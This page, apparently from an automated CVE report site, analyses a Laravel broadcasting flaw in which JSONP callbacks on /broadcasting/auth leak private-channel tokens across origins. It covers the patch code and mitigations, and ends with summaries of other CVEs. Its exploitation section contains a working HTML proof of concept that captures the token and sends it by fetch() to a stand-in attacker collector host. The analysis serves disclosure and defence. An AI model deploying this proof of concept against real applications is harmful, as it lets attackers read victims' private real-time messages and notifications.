CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-142622

CVE-2026-142622: Cross-Origin Authorization Token Leakage via JSONP Callback in Laravel Broadcasting

Amit Schendel
Amit Schendel
Senior Security Researcher

Dec 4, 2026·10 min read·6 visits

Executive Summary (TL;DR)

Laravel Framework versions prior to 12.53.0 allow unauthenticated cross-origin extraction of private and presence WebSocket channel authorization tokens due to unrestricted JSONP callback support and HTTP GET access on `/broadcasting/auth`.

CVE-2026-142622 (GHSA-ww2c-pqp9-rvrq) is an origin validation error (CWE-346) in the Laravel Framework (`laravel/framework`) prior to version 12.53.0. The Pusher and Reverb broadcasting drivers previously accepted a `callback` query parameter on the `/broadcasting/auth` endpoint, returning the channel authentication token wrapped in a JSONP response. Because this endpoint also accepted HTTP GET requests without CSRF validation, an external page could include the authorization endpoint via an HTML `<script>` tag to bypass Same-Origin Policy protections and exfiltrate the authenticated user's private or presence channel tokens.

Vulnerability Overview

Laravel Framework (laravel/framework) provides an event broadcasting component designed to synchronize server-side events with client-side JavaScript applications over WebSockets. The framework natively supports multiple broadcasting drivers, including Pusher Channels (PusherBroadcaster) and Laravel Reverb, which utilizes the Pusher protocol under the hood. To protect sensitive data streams, Laravel implements private and presence channels that require explicit user authorization before a WebSocket client can subscribe.

When a frontend client attempts to subscribe to a private or presence channel, it queries the Laravel backend's /broadcasting/auth endpoint, passing the target channel_name and the client's active WebSocket socket_id. The backend evaluates the application's channel authorization rules (typically defined in routes/channels.php) against the authenticated user's current session. If the user is authorized, the backend generates an HMAC signature combining the socket_id and channel_name, returning this cryptographic token to the client so it can complete the subscription handshake with the WebSocket server.

In versions of laravel/framework prior to 12.53.0, the broadcasting authentication mechanism contains an Origin Validation Error (CWE-346). Specifically, PusherBroadcaster unconditionally honored the callback input parameter during authentication requests, formatting the output as a JSONP (JavaScript Object Notation with Padding) payload rather than standard JSON. Furthermore, the broadcasting authentication routes accepted HTTP GET requests without enforcing Cross-Site Request Forgery (CSRF) token verification.

This combination of behaviors exposes the /broadcasting/auth endpoint to cross-origin script inclusion attacks. By embedding a <script> tag pointing to the target application's authentication endpoint on a third-party or sibling subdomain page, an attacker can leverage an authenticated user's session cookies to request a valid channel token and capture the returned value via a custom JavaScript callback function.

Root Cause Analysis

The root cause of CVE-2026-142622 lies in the legacy support for JSONP authentication callbacks within Illuminate\Broadcasting\Broadcasters\PusherBroadcaster combined with permissive HTTP method routing on the broadcasting authorization endpoint. JSONP was historically used in web development to deliberately bypass the browser's Same-Origin Policy (SOP) before Cross-Origin Resource Sharing (CORS) became standard. While standard fetch() or XMLHttpRequest calls from a foreign origin cannot read cross-origin responses unless explicitly permitted by Access-Control-Allow-Origin headers, HTML <script src="..."> tags are exempt from the Same-Origin Policy and execute any valid JavaScript returned by the server.

In Laravel's broadcasting architecture, both the Pusher and Reverb drivers rely on PusherBroadcaster to handle authentication responses. When PusherBroadcaster::validAuthenticationResponse($request, $result) generates the channel authorization signature via the underlying Pusher PHP SDK, it passes the raw response to PusherBroadcaster::decodePusherResponse($request, $response). Prior to the patch, decodePusherResponse inspected the incoming HTTP request for a callback parameter using $request->input('callback', false).

If the callback parameter was omitted, the method decoded the SDK's JSON string into an associative array, causing Laravel's routing layer to serialize it with an application/json content type. However, when a callback parameter was present in the query string or request body, the underlying Pusher SDK method wrapped the authentication payload in a JavaScript function invocation matching the supplied callback name (e.g., customCallback({"auth":"key:signature"});), and decodePusherResponse returned this executable response directly.

Because the /broadcasting/auth endpoint accepted GET requests and did not enforce CSRF verification on GET verbs, the browser automatically attached session cookies to cross-origin <script> requests whenever cookie SameSite policy allowed it. The backend evaluated the session as valid, generated the private channel HMAC token for the attacker-supplied socket_id, and returned it wrapped in the attacker's callback function, completing the cross-origin data leak.

Code Analysis

The remediation for CVE-2026-142622 was introduced in commit 4a92d0d9fed2a1539291732d18c8578316069bfd (Pull Request #58971). The patch modifies two core files in the Illuminate\Broadcasting namespace: BroadcastManager.php and Broadcasters/PusherBroadcaster.php.

In src/Illuminate/Broadcasting/Broadcasters/PusherBroadcaster.php, the patch introduces a new boolean property $allowJsonp, initialized to false by default, and updates the constructor and decodePusherResponse method:

// File: src/Illuminate/Broadcasting/Broadcasters/PusherBroadcaster.php
 
class PusherBroadcaster extends Broadcaster
{
    /**
     * The Pusher SDK instance.
     *
     * @var \Pusher\Pusher
     */
    protected $pusher;
 
    /**
     * Indicates if JSONP callbacks are allowed on authorization.
     *
     * @var bool
     */
    protected $allowJsonp = false; // Added: Explicitly disable JSONP by default
 
    /**
     * Create a new broadcaster instance.
     *
     * @param  \Pusher\Pusher  $pusher
     */
    public function __construct(Pusher $pusher, bool $allowJsonp = false) // Updated: Accept opt-in flag
    {
        $this->pusher = $pusher;
        $this->allowJsonp = $allowJsonp;
    }

Within decodePusherResponse, the condition checking for the callback parameter was updated to require both the absence of the parameter or the explicit enabling of $this->allowJsonp:

    /**
     * Decode the given Pusher response.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  mixed  $response
     * @return array
     */
    protected function decodePusherResponse($request, $response)
    {
        // Vulnerable code prior to 12.53.0:
        // if (! $request->input('callback', false)) {
        
        // Patched code in 12.53.0:
        if (! $request->input('callback', false) || ! $this->allowJsonp) {
            return json_decode($response, true);
        }
 
        return Response::make($response, 200, ['Content-Type' => 'application/javascript']);
    }

Correspondingly, src/Illuminate/Broadcasting/BroadcastManager.php was modified in createPusherDriver to pass the jsonp configuration option from the application's broadcasting configuration (config/broadcasting.php) to the PusherBroadcaster constructor, defaulting to false if omitted:

// File: src/Illuminate/Broadcasting/BroadcastManager.php
 
    protected function createPusherDriver(array $config)
    {
        // Passes $config['jsonp'] ?? false to the second constructor argument ($allowJsonp)
        return new PusherBroadcaster($this->pusher($config), $config['jsonp'] ?? false);
    }

Fix Completeness Assessment

Note that BroadcastManager::createReverbDriver(array $config) instantiates PusherBroadcaster directly or delegates to createPusherDriver. In BroadcastManager, createReverbDriver instantiates new PusherBroadcaster($this->pusher($config)), which relies on the default parameter bool $allowJsonp = false in PusherBroadcaster::__construct. Consequently, JSONP is disabled by default for both the Pusher and Reverb drivers.

When $allowJsonp is false and an attacker supplies a callback query parameter, decodePusherResponse now unconditionally enters the if branch and calls json_decode($response, true). If the underlying Pusher SDK has already wrapped the string in a JSONP callback because it read the callback parameter earlier in the call chain, json_decode will fail on the non-JSON string and return null, or if pure JSON is passed, it will return a standard JSON response with Content-Type: application/json instead of executable application/javascript. In both scenarios, the cross-origin <script> tag fails to execute the callback, completely neutralizing the token leakage vector unless a developer explicitly configures 'jsonp' => true.

Exploitation Methodology

Exploiting CVE-2026-142622 requires the target application to utilize Laravel's broadcasting system with either the pusher or reverb driver, and the victim user must hold an active authenticated session on the target application. Furthermore, successful exploitation depends on the browser's cookie transmission rules governed by the SameSite attribute of the Laravel session cookie:

  1. SameSite=Lax (Default Configuration): Modern browsers and Laravel's default config/session.php set SameSite=Lax. Under Lax rules, cookies are withheld on cross-site subresource requests (such as <script> tags loaded from an external registrable domain), but are sent on same-site subresource requests. Therefore, if the target application resides at app.example.com, an attacker must control a sibling subdomain under the same registrable domain (e.g., via a subdomain takeover, stored XSS, or user-hosted content on untrusted.example.com) so the request is treated as same-site.
  2. SameSite=None: If the application has been configured with SameSite=None; Secure (commonly seen in applications embedded within cross-site iframes or federated single sign-on architectures), the browser attaches the session cookie to <script> requests originating from any arbitrary external domain.

To execute the attack, the adversary first establishes a WebSocket connection to the target application's Pusher cluster or Reverb server using the application's public Pusher key (which is publicly exposed in the target's frontend JavaScript assets). Upon connection, the WebSocket server assigns a unique socket_id (formatted as 12345.67890) to the attacker's client session.

Next, the attacker lures the authenticated victim to a webpage containing a script that dynamically injects a <script> tag pointing to the target's /broadcasting/auth endpoint, passing the target private channel name, the attacker's active socket_id, and a callback function name:

<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<script>
  // 1. Define the callback function that will receive the JSONP payload
  function extractAuthToken(data) {
    // data contains: {"auth": "<app_key>:<hmac_signature>", "channel_data": "..."}
    fetch('https://attacker-collector.internal/log', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  }
</script>
 
<!-- 2. Trigger cross-origin GET request to the broadcasting auth endpoint -->
<script src="https://target.example.com/broadcasting/auth?channel_name=private-App.Models.User.1&socket_id=12345.67890&callback=extractAuthToken"></script>
</body>
</html>

When the victim's browser loads the <script> tag, it sends an authenticated GET request to /broadcasting/auth. The Laravel application verifies that User 1 is authorized to access private-App.Models.User.1, signs the attacker's socket_id (12345.67890) for that channel, and responds with Content-Type: application/javascript:

extractAuthToken({"auth":"app_key:8f9d2a1b4c3e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a"});

The victim's browser executes extractAuthToken, transmitting the valid signature to the attacker. The attacker then forwards this signature over their open WebSocket connection in a pusher:subscribe frame, gaining full read access to all subsequent real-time events broadcasted to the victim's private or presence channel.

Impact Assessment

CVE-2026-142622 is rated Low severity with a CVSS v3.1 score of 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N). The Attack Complexity is scored as High (AC:H) and User Interaction is Required (UI:R) because an attacker must know or guess the target channel_name, maintain an active socket_id during the moment the victim visits the malicious page, and satisfy the SameSite cookie constraints.

The impact is strictly confined to Confidentiality (C:L), with no direct impact on Integrity (I:N) or Availability (A:N). Obtaining a channel authorization token does not grant the attacker the victim's primary session cookie, nor does it allow the attacker to execute arbitrary HTTP actions against the Laravel backend on behalf of the user.

However, within applications that rely heavily on WebSockets for real-time state updates, the confidentiality impact can be significant. By subscribing to a user's private-* or presence-* channels, an attacker can passively intercept every real-time event dispatched to that channel for the duration of the WebSocket connection. Common sensitive events transmitted over Laravel broadcasting channels include private chat messages, real-time notifications, order or financial transaction updates, collaborative document edits, and administrative alerts.

In the context of threat intelligence, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-142622 a probability score of 0.00222 (0.22%), placing it in the 13.70th percentile. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no public weaponized exploits have been observed in the wild.

Remediation and Mitigation

Primary Remediation: Upgrade Laravel Framework

Organizations and developers using laravel/framework should upgrade to version 12.53.0 or later. In version 12.53.0, JSONP support in PusherBroadcaster is disabled by default.

composer update laravel/framework

After upgrading, audit config/broadcasting.php to verify that 'jsonp' => true has not been manually added to the pusher or reverb connection arrays:

// config/broadcasting.php
'connections' => [
    'pusher' => [
        'driver' => 'pusher',
        'key' => env('PUSHER_APP_KEY'),
        'secret' => env('PUSHER_APP_SECRET'),
        'app_id' => env('PUSHER_APP_ID'),
        'options' => [
            // ...
        ],
        // Ensure 'jsonp' is omitted or explicitly set to false
        'jsonp' => false,
    ],
],

Workarounds for Unpatched Environments

If an immediate upgrade to v12.53.0 is not feasible, security engineers can implement the following mitigations at the application or web server layer:

  1. Block callback Parameters on /broadcasting/auth: Configure a Laravel middleware or Web Application Firewall (WAF) rule to reject any request to /broadcasting/auth (or custom broadcasting auth routes) that contains a callback parameter or uses the HTTP GET method. Standard Laravel Echo clients authenticate via POST requests with JSON or form payloads.
  2. Enforce POST-Only and CSRF Protection: If custom routes are registered for broadcasting authorization, ensure they only register the POST method (Route::post('/broadcasting/auth', ...)) and remain behind the web middleware group with VerifyCsrfToken active.
  3. Harden Session Cookie Attributes: Ensure same_site in config/session.php is set to 'lax' or 'strict'. Avoid using 'none', and audit all sibling subdomains under the same registrable domain for subdomain takeover vulnerabilities or untrusted user content hosting.

Official Patches

LaravelGitHub Security Advisory GHSA-ww2c-pqp9-rvrq
LaravelOfficial Patch Commit (4a92d0d9fed2a1539291732d18c8578316069bfd)
LaravelLaravel Framework Release v12.53.0

Fix Analysis (1)

Technical Appendix

CVSS Score
3.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
EPSS Probability
0.22%
Top 86% most exploited

Affected Systems

laravel/framework (Pusher and Reverb Broadcasting Drivers)

Affected Versions Detail

Product
Affected Versions
Fixed Version
laravel/framework
Laravel
< 12.53.012.53.0
AttributeDetail
Vulnerability IDCVE-2026-142622 / GHSA-ww2c-pqp9-rvrq
Weakness TypeCWE-346: Origin Validation Error
CVSS v3.1 Score3.1 Low (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N)
EPSS Score0.22% (13.70th Percentile)
Affected Componentlaravel/framework (< 12.53.0) PusherBroadcaster
Attack VectorCross-Origin JSONP Script Inclusion on /broadcasting/auth
Primary ImpactUnauthorized subscription to private and presence WebSocket channels
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1185Browser Session Hijacking
Collection
T1539Steal Web Session Cookie
Credential Access
CWE-346
Origin Validation Error

The software does not properly verify that the source of data or a request matches the expected origin, allowing cross-origin leakage or execution of sensitive data in an unauthorized origin context.

Vulnerability Timeline

Fix committed to laravel/framework (4a92d0d9fed2a1539291732d18c8578316069bfd) via PR #58971
2026-02-23
Laravel Framework v12.53.0 released and GHSA-ww2c-pqp9-rvrq / CVE-2026-142622 published
2026-02-23

References & Sources

  • [1]GitHub Security Advisory: GHSA-ww2c-pqp9-rvrq
  • [2]CVE.org Record: CVE-2026-142622
  • [3]National Vulnerability Database (NVD): CVE-2026-142622
  • [4]Official Patch Commit: 4a92d0d9fed2a1539291732d18c8578316069bfd
  • [5]Laravel Framework Pull Request #58971: JSONP Check
  • [6]Laravel Framework Release Tag v12.53.0
  • [7]CVEListV5 Record for CVE-2026-142622

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•19 minutes ago•CVE-2026-142637
4.8

CVE-2026-142637: Query Logic Injection in Laravel Database Validation Rules

CVE-2026-142637 (GHSA-ch34-gjmh-c4hp) is a query logic injection vulnerability (CWE-943) in the Laravel framework prior to versions 12.73.0 and 13.43.0. When fluent database validation rules such as Rule::exists() or Rule::unique() are scoped using the scalar where() method, the framework serializes the rule object into its legacy comma-delimited string format and subsequently reparses it. During reparsing, the database presence verifier evaluates specific reserved tokens—'NULL', 'NOT_NULL', and values prefixed with '!'—as SQL predicates rather than literal values. If an application passes untrusted user input into a fluent where() scope, an attacker can supply these sentinel tokens to alter the SQL evaluation logic and bypass multi-tenant isolation or ownership validation.

Alon Barad
Alon Barad
1 views•11 min read
•about 2 hours ago•CVE-2026-142593
5.3

CVE-2026-142593: Path Traversal via Symlink Resolution Discrepancy in Rack::Directory

CVE-2026-142593 is a path traversal and improper symbolic link resolution vulnerability in the Rack::Directory middleware of the Rack Ruby web server interface. A discrepancy between lexical path validation in Ruby user space and physical path resolution by the operating system kernel allows unauthenticated remote attackers to bypass document root restrictions when a symlinked directory exists inside the served root. Attackers can enumerate file names, directory structures, file sizes, and modification timestamps outside the intended document root.

Alon Barad
Alon Barad
6 views•11 min read
•about 3 hours ago•GHSA-XJ2X-F8QW-37MR
5.3

GHSA-xj2x-f8qw-37mr: Denial of Service via Multi-Byte UTF-8 Slicing Panic in Rust bcrypt Crate

A denial-of-service vulnerability exists in versions 0.19.0 and 0.19.1 of the Rust bcrypt crate (tracked as GHSA-xj2x-f8qw-37mr and RUSTSEC-2026-0199). When parsing a 60-byte hash string containing multi-byte UTF-8 sequences positioned across internal slice offsets, the split_hash function performs direct string slicing across non-character boundaries. This violation of Rust's UTF-8 string invariants triggers an unhandled thread panic (str::slice_error_fail), enabling attackers who can supply or modify hash strings to crash authentication worker threads or terminate processes configured to abort on panic.

Alon Barad
Alon Barad
7 views•10 min read
•about 4 hours ago•CVE-2026-142591
5.3

CVE-2026-142591: Denial of Service via Regex Memory Amplification in Rack QueryParser

CVE-2026-142591 (GHSA-f7cc-57h7-qrcg) is an uncontrolled resource consumption vulnerability in the Rack Ruby web server interface library. The flaw resides in Rack::QueryParser, which uses quantified regular expressions to split query strings, parse application/x-www-form-urlencoded request bodies, and evaluate nested parameter names. In Ruby's Onigmo regular expression engine, greedy quantifiers allocate approximately 48 bytes of native backtracking state per matched character. An unauthenticated remote attacker can transmit crafted payloads containing long runs of spaces or bracket characters within Rack's default 4 MiB byte-size limit to trigger an approximate 48x transient memory amplification, allocating up to 200 MB per request and exhausting process or container memory under concurrent load.

Alon Barad
Alon Barad
7 views•10 min read
•about 5 hours ago•CVE-2026-142592
7.5

CVE-2026-142592: Denial of Service via Multipart Charset Encoding Resolution in Rack

CVE-2026-142592 is an uncontrolled resource consumption vulnerability (CWE-400) in Rack, the modular Ruby web server interface. In affected versions within the 3.1.x and 3.2.x branches, the multipart form-data parser directly passes untrusted charset parameters to Ruby's internal Encoding.find method without pre-validation or caching. Because Ruby's MRI runtime traverses the entire $LOAD_PATH searching for shared libraries whenever an unknown encoding is requested, an unauthenticated attacker can submit a multipart payload with thousands of invalid charset parameters to trigger millions of filesystem lookup operations, exhausting CPU and I/O resources and causing denial of service.

Alon Barad
Alon Barad
7 views•13 min read
•about 6 hours ago•CVE-2026-142596
7.5

CVE-2026-142596: Projection Sanitization Bypass and Schema-Level Exclusion Disclosure in Mongoose

A projection sanitization and schema path exclusion bypass vulnerability exists in Mongoose versions 8.5.0 through 8.24.9 and 9.0.0 through 9.12.1. Due to insufficient validation of MongoDB projection syntax in `sanitizeProjection` and `applyPaths`, attackers supplying untrusted projection inputs to queries can force the retrieval of sensitive schema fields configured with `select: false`, such as password hashes, reset tokens, and multi-factor authentication secrets.

Amit Schendel
Amit Schendel
8 views•10 min read